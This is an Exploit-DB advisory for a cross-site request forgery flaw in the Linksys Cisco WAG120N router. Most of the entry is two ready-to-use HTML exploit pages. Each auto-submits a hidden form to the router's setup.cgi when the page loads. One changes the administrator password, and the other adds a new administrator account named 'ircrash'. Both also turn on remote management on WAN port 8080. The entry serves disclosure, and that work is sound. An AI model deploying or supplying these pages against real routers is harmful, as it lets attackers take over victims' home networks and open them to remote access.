Linksys Cisco WAG120N CSRF Vulnerability



EDB-ID: 16252 CVE: N/A OSVDB-ID: 71032
Author: IRCRASH Published: 2011-02-26 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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Hardware : Linksys Cisco Wag120n(And perhaps similar versions)
Type of vunlnerability : CSRF ( Change Admin Password And Add User )
Risk of use : High
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Producer Website : http://linksysbycisco.com
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Discovered by : Khashayar Fereidani
Team Website : Http://IRCRASH.COM
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim
English Forums : Http://IRCRASH.COM/forums/
Email : irancrash [ a t ] gmail [ d o t ] com
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CSRF For Change Admin Password :
#Use sysPasswd and sysConfirmPasswd to set new password

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="1">

<input type="hidden" name="h_user_list" value="1">

<input type="hidden" name="sysname" value="admin">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="no">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>
</body>
</html>

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CSRF For Add Administrator User:
#Use sysPasswd and sysConfirmPasswd to set new password
#if you add new user you should set pass_is_none=yes

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="2">

<input type="hidden" name="h_user_list" value="2">

<input type="hidden" name="sysname" value="ircrash">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="yes">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>
</body>
</html>